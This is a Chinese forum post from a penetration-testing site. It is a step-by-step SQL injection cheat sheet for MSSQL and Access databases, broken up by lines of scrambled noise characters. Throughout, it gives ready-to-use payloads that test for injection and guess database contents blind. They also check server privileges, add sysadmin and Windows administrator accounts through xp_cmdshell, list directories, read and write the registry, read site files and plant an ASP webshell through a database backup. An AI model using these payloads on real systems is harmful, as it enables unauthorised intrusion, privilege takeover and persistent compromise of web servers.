中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
) Z/ I0 b: N* W: N H# g7 a, v
1.判断是否有注入;and 1=1 ;and 1=2
% k5 @7 u. ]; j4 F, E
F2 n- }7 a% X8 m
2.初步判断是否是mssql ;and user>0
/ n- V2 ~' n5 n. W y# w. _
$ [- }* ]0 X3 _ m- c5 K g
3.注入参数是字符'and [查询条件] and ''='
, c. [( [- p3 c7 _) i
& ]8 M' q* i! O! h; k: p
4.搜索时没过滤参数的'and [查询条件] and '%25'='
# O9 q9 U3 s& @- |0 Q6 Q! x
3 h; o" M" d5 f, [) O
5.判断数据库系统
4 l- A2 d# ?4 ~; z8 T9 N) S
;and (select count(*) from sysobjects)>0 mssql
9 B g8 A7 ~ w7 G8 [
;and (select count(*) from msysobjects)>0 access
" x% o8 q9 w4 a2 V7 y3 W3 |$ U2 W/ {
; g# \, B. y/ F1 r
6.猜数据库 ;and (select Count(*) from [数据库名])>0
* C8 E5 L0 h% \7 u9 X! l
! R7 L- C7 [ v; l; Z- w
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
" ?5 ?) [1 K- B1 D$ u+ p: A4 }
! Q3 n( i- e+ o
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
; d; Y& k' O* p
9 Z/ w1 ?8 J, Z8 F( @& ~( f4 ]0 f
9.(1)猜字段的ascii值(access)
# S9 J) s5 h5 R! q
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
3 M+ A# m9 ^& I/ |2 U* `- a [
) V- C4 n- [0 H- F
(2)猜字段的ascii值(mssql)
: t8 d" ?7 S# c1 K1 p: Q
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
2 g2 @0 ]: @/ q1 u8 [% _7 A* i
; e, r: I; h D- J
10.测试权限结构(mssql)
5 g# M: X1 p3 p0 e( I8 P
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 ?' G6 Q. I0 S* i& \
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
+ W2 |4 T+ v) `, `
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# Z9 S: O' c. H W M
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
7 ]& U" G! \" Q5 h/ c- `* f$ g
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
+ l& V4 l! c- y& y7 w$ V" f9 w, m
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
5 z4 b. H8 n% K" C9 J
;and 1=(select IS_MEMBER('db_owner'));--
$ M* c1 ^* [: N& ?( v* Q# @ g
0 b; o, w/ T/ h: k- D% g5 A
11.添加mssql和系统的帐户
: j" t1 _9 o" P8 a: t- n+ d
;exec master.dbo.sp_addlogin username;--
/ q" g$ e9 }+ L' U) s- X
% A8 Z! W9 l- h+ ]
;exec master.dbo.sp_password null,username,password;--
. _& g5 Q& U) V3 t! X, @
% U8 G* m+ o2 |' ]' Z
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" S" o" @$ H! d$ _- g5 L5 _
0 f0 c7 E3 L& D- L
;exec master.dbo.xp_cmdshell 'net user username password
- @! W2 { M5 K1 X
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
4 \. ^- G& X$ _
) x0 J9 A- o0 }# A
;exec master.dbo.xp_cmdshell 'net user username password /add';--
( p1 g! K" @) u8 R
- Z% u v: G& g" A
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
6 \: ~' i. U, N6 h9 |$ r
0 @+ U" S5 y, I" g& {3 m
12.(1)遍历目录
* n3 D, a# ^9 ?+ S% ?0 R, e
) G$ X. ]6 [# P# ~
;create table dirs(paths varchar(100), id int)
- k8 o4 K! {1 p% ~/ e8 _" S
;insert dirs exec master.dbo.xp_dirtree 'c:\'
- E9 F0 m& C' C# }/ N+ ?
;and (select top 1 paths from dirs)>0
& n- [2 V3 h$ w' h' G5 n5 F1 y
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
+ o! ~6 n u- Z9 `& H
# P8 ] S! T# H+ [9 b: E
(2)遍历目录
. a( f$ c3 s: w7 a6 f" \
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
$ ^1 P0 e' n# }0 W6 R3 j% w% c
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
# h; s3 x* C+ ?8 k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% B& a& y4 ?6 v
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
" Z" a z) U& ^5 {0 [+ l
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
) j5 K v0 { {5 G: z R, x$ [9 N
/ s: V! r4 O$ W0 `
13.mssql中的存储过程
$ a6 f9 t a# t/ \, O$ [
1 Z, H0 e( C1 v) u9 L
xp_regenumvalues 注册表根键, 子键
2 z# {- B1 m) Y: R
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
( p8 {( y5 @5 ~/ W0 X
$ h1 Y; A! n, g3 q1 `4 v E' w& }1 Z
xp_regread 根键,子键,键值名
) {6 G: J! b! d( Q: [3 {- o q
;exec xp_regread
0 x0 f# _4 I& b
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
+ r9 D. p) ]* o: m* S
+ k+ J) @8 o5 f9 s8 Z& r ?
xp_regwrite 根键,子键, 值名, 值类型, 值
3 D/ {* a+ _+ J1 f5 v7 S
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
- b8 m, \ N, ~' _ i) S
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
7 r7 B0 |& ^7 d4 b" X" M
1 M# S8 W6 Y0 V
xp_regdeletevalue 根键,子键,值名
/ X% F8 \; t" E! `
- K3 q5 I+ ^* P5 t4 W
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
& S' c" k( E9 `( h
5 a% u9 f) `# ^, K" }. G; v
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 S7 h0 f4 Q( h5 `
% V8 o/ l* s4 X% i i B
14.mssql的backup创建webshell
) e" R: G6 Z2 d1 X& R: p8 }
use model
% |: c# A% M9 h* \/ J9 m
create table cmd(str image);
- z/ y. p" U/ H9 F& E+ B/ k- t
insert into cmd(str) values ('');
- }$ d$ w3 \/ S; [* a
backup database model to disk='c:\l.asp';
- [0 d, H0 x+ \' R$ F0 O2 J
* ~) Q) \. c: g4 G& \( i. c, b$ H
15.mssql内置函数
/ ~0 U$ Z' Y" z( h
;and (select @@version)>0 获得Windows的版本号
9 M4 \! U! E8 h( |- [" }: k4 x
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 M/ }+ M$ |3 ?2 j: |: G0 @: Y, E
;and (select user_name())>0 爆当前系统的连接用户
9 k2 @7 s5 e6 ?6 [
;and (select db_name())>0 得到当前连接的数据库
0 c5 _* P# L, M1 t
! \ U" E; e) _+ o
16.简洁的webshell
/ e0 B( R$ Y& k$ m1 C2 Q2 Q9 I. z
+ S' h7 |9 B+ ]4 H4 v9 l
use model
- p* ]1 B7 _/ Q/ e8 A
* D5 r$ C! G9 B, A. j0 `3 e, V' N: G
create table cmd(str image);
3 N% Z% F- N$ S) V+ w
( I$ y' B- O$ l* ~/ m7 @
insert into cmd(str) values ('');
$ a0 x6 r/ `! Z$ l1 l% y
; c" [6 a& a$ f; z7 v
backup database model to disk='g:\wwwtest\l.asp';
, Y& V/ ?1 Z$ z2 `* ~9 O
3 n4 E5 k; `* ?) ?
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2